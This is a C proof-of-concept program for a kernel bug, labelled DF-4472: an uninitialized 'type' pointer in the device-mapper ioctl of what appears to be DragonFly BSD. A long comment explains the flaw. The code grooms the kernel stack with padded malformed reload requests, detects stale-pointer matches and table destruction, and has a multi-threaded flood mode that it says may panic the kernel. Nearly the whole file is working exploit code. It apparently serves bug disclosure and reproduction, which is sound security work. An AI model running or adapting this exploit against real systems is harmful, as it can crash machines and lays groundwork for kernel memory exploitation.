DF-4472 / dm_uninit_type.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 | /* * DF-4472 PoC -- dm_table_load_ioctl uses UNINITIALIZED stack pointer `type' * as a C string when a table-entry dictionary omits the "type" key. * * Bug (sys/dev/disk/dm/dm_ioctl.c): * 673: dm_table_load_ioctl(prop_dictionary_t dm_dict) * 684: const char *name, *uuid, *type; <-- `type' declared * 690-695: name = NULL; uuid = NULL; dmv = NULL; str = NULL; * (type is NEVER initialized) * 707: cmd_array = prop_dictionary_get(dm_dict, DM_IOCTL_CMD_DATA); * 708: iter = prop_array_iterator(cmd_array); * 730: while ((target_dict = prop_object_iterator_next(iter)) != NULL) { * 731: prop_dictionary_get_cstring_nocopy(target_dict, * 732: DM_TABLE_TYPE, &type); <-- return value ignored * * prop_dictionary_get_cstring_nocopy() (sys/libprop/prop_dictionary_util.c:185) * returns false WITHOUT touching *cpp when the key is absent, the element is * not a dictionary, or the value is not a string. On the first loop * iteration `type' therefore holds whatever the previous users of this * kernel stack left behind, and it is then dereferenced as a string: * * 737: if (((target = dm_target_lookup(type)) == NULL && ... * --> dm_target_lookup_name() does strcmp(dm_target_name, ...) on the * garbage pointer (sys/dev/disk/dm/dm_target.c:127), and if that fails * dm_target_autoload() does ksnprintf("dm_target_%s", type) * (sys/dev/disk/dm/dm_target.c:74) -- both wild reads. * * Demonstrable outcomes (any of these reproduces the uninitialized use): * (1) PANIC: garbage is an unmapped address -> kernel page fault. * (2) STALE-MATCH: garbage aliases memory holding a valid target name * (e.g. the freed prop string of a previous reload) -> the table LOADS * successfully even though the dictionary never named a target type. * (3) PROOF-BY-DESTRUCTION: reload #1 loads a 1-entry inactive table; * malformed reload #2 returns ENOENT AND the inactive table is now * EMPTY. dm_ioctl.c has exactly one ENOENT return after the * dm_table_destroy at :722-723 -- the lookup failure at :741 -- so * this combination proves dm_target_lookup(garbage) executed. * * Privilege note: /dev/mapper/control is 0640 root:operator * (sys/dev/disk/dm/device-mapper.c:181). Run as root (or operator). * * Build: cc -o dm_uninit_type dm_uninit_type.c -lprop * Run: ./dm_uninit_type (default: groom + proof rounds) * ./dm_uninit_type --flood N (N threads hammering malformed reloads) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <pthread.h> #include <sys/ioctl.h> #include <libprop/proplib.h> #include <dev/disk/dm/netbsd-dm.h> #define DM_CONTROL_DEV "/dev/mapper/control" #define DEV_NAME "df4472dev" #ifndef DM_QUERY_INACTIVE_TABLE_FLAG #define DM_QUERY_INACTIVE_TABLE_FLAG (1 << 12) #endif #define DM_STATUS_TABLE_FLAG_ (1 << 4) static int send_ioctl(int fd, prop_dictionary_t dict) { return prop_dictionary_send_ioctl(dict, fd, NETBSD_DM_IOCTL); } static prop_dictionary_t new_dm_dict(const char *command) { prop_dictionary_t dict; prop_array_t ver; dict = prop_dictionary_create(); if (dict == NULL) exit(1); /* dm_check_version: major==4, minor<=16 */ ver = prop_array_create(); prop_array_add_uint32(ver, 4); prop_array_add_uint32(ver, 0); prop_array_add_uint32(ver, 0); prop_dictionary_set(dict, DM_IOCTL_VERSION, ver); prop_object_release(ver); prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command); prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0); return dict; } static int create_dev(int fd) { prop_dictionary_t dict = new_dm_dict("create"); int rv; prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); rv = send_ioctl(fd, dict); prop_object_release(dict); return rv; } /* Build one reload request. with_type==0 omits DM_TABLE_TYPE entirely. */ static int do_reload(int fd, int with_type, const char *typeval, const char *params, int npad) { prop_dictionary_t dict = new_dm_dict("reload"); prop_array_t arr; prop_dictionary_t ent; int i, rv; arr = prop_array_create(); ent = prop_dictionary_create(); if (with_type) prop_dictionary_set_cstring(ent, DM_TABLE_TYPE, typeval); prop_dictionary_set_uint64(ent, DM_TABLE_START, 0); prop_dictionary_set_uint64(ent, DM_TABLE_LENGTH, 1); prop_dictionary_set_cstring(ent, DM_TABLE_PARAMS, params); prop_array_add(arr, ent); prop_object_release(ent); /* * Padding entries with big strings: the internalize machinery of this * very ioctl chews through the kernel stack region that will later * hold dm_table_load_ioctl's frame -- planting "arbitrary" values in * the slot occupied by `type'. */ for (i = 0; i < npad; i++) { prop_dictionary_t pad = prop_dictionary_create(); prop_dictionary_set_cstring(pad, "pad", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); prop_array_add(arr, pad); prop_object_release(pad); } prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, arr); prop_object_release(arr); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); rv = send_ioctl(fd, dict); prop_object_release(dict); return rv; } /* Query the INACTIVE table ("table" + DM_QUERY_INACTIVE_TABLE_FLAG). */ static int query_inactive(int fd, int *nentries) { prop_dictionary_t dict = new_dm_dict("table"); prop_array_t arr; uint32_t flags = DM_QUERY_INACTIVE_TABLE_FLAG | DM_STATUS_TABLE_FLAG_; int rv, n = -1; prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, flags); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); rv = prop_dictionary_sendrecv_ioctl(dict, fd, NETBSD_DM_IOCTL, &dict); if (rv == 0 && dict != NULL) { arr = prop_dictionary_get(dict, DM_IOCTL_CMD_DATA); if (arr != NULL && prop_object_type(arr) == PROP_TYPE_ARRAY) n = (int)prop_array_count(arr); prop_object_release(dict); } if (nentries) *nentries = n; return rv; } static void groom_mode(int rounds) { int fd, i, rv1, rv2, ne = -1, stale_hits = 0, proof_hits = 0; fd = open(DM_CONTROL_DEV, O_RDWR); if (fd < 0) { fprintf(stderr, "open %s: %s\n", DM_CONTROL_DEV, strerror(errno)); exit(1); } rv1 = create_dev(fd); printf("[*] create '%s': rv=%d (%s)\n", DEV_NAME, rv1, rv1 ? strerror(rv1) : "ok"); for (i = 0; i < rounds; i++) { /* valid reload: type present */ rv1 = do_reload(fd, 1, "zero", "zero zero zero zero", 0); if (i < 5 || (rv1 != 0 && (i % 25) == 0)) { int pre = -1; query_inactive(fd, &pre); printf(" round %d: reload#1 rv=%d, inactive entries" "=%d%s\n", i, rv1, pre, (rv1 == 0 && pre >= 1) ? " (loaded)" : " <== WARNING: reload#1 did not load!"); } /* malformed reload: NO type key at all */ rv2 = do_reload(fd, 0, NULL, "zero zero zero zero", 16); if (rv2 == 0) { /* stale garbage MATCHED a target name: table loaded */ query_inactive(fd, &ne); printf("[!] round %d: typeless reload returned 0; " "inactive entries=%d <== STALE UNINIT TYPE USED\n", i, ne); stale_hits++; } else if (rv2 == ENOENT) { /* * Distinguish ENOENT@741 (wild lookup executed, table * destroyed) from ENOENT@713 (device missing): check * that reload#1's table got wiped by reload#2. */ query_inactive(fd, &ne); if (ne == 0) proof_hits++; } if ((i % 25) == 24) printf(" ... %d/%d rounds (stale-match=%d " "destroy-proof=%d) last rv2=%d\n", i + 1, rounds, stale_hits, proof_hits, rv2); } printf("[*] groom done: rounds=%d stale-match=%d destroy-proof=%d\n", rounds, stale_hits, proof_hits); close(fd); } struct flood_arg { int id; int rounds; }; static void * flood_thread(void *v) { struct flood_arg *fa = v; int fd, i, rv = -1; fd = open(DM_CONTROL_DEV, O_RDWR); if (fd < 0) return (NULL); for (i = 0; i < fa->rounds; i++) rv = do_reload(fd, 0, NULL, "zero zero zero zero", 4 + (i % 8)); fprintf(stderr, "[t%d] done rv=%d (%s)\n", fa->id, rv, rv ? strerror(rv) : "0"); close(fd); return (NULL); } static void flood_mode(int nthreads, int rounds) { pthread_t th[64]; struct flood_arg fa[64]; int i; printf("[*] flood: %d threads x %d malformed reloads -- " "expect possible panic (wild strcmp)\n", nthreads, rounds); for (i = 0; i < nthreads; i++) { fa[i].id = i; fa[i].rounds = rounds; pthread_create(&th[i], NULL, flood_thread, &fa[i]); } for (i = 0; i < nthreads; i++) pthread_join(th[i], NULL); printf("[*] flood finished without panic\n"); } int main(int argc, char **argv) { if (argc > 2 && strcmp(argv[1], "--flood") == 0) flood_mode(atoi(argv[2]), argc > 3 ? atoi(argv[3]) : 500); else groom_mode(argc > 1 ? atoi(argv[1]) : 200); return 0; } |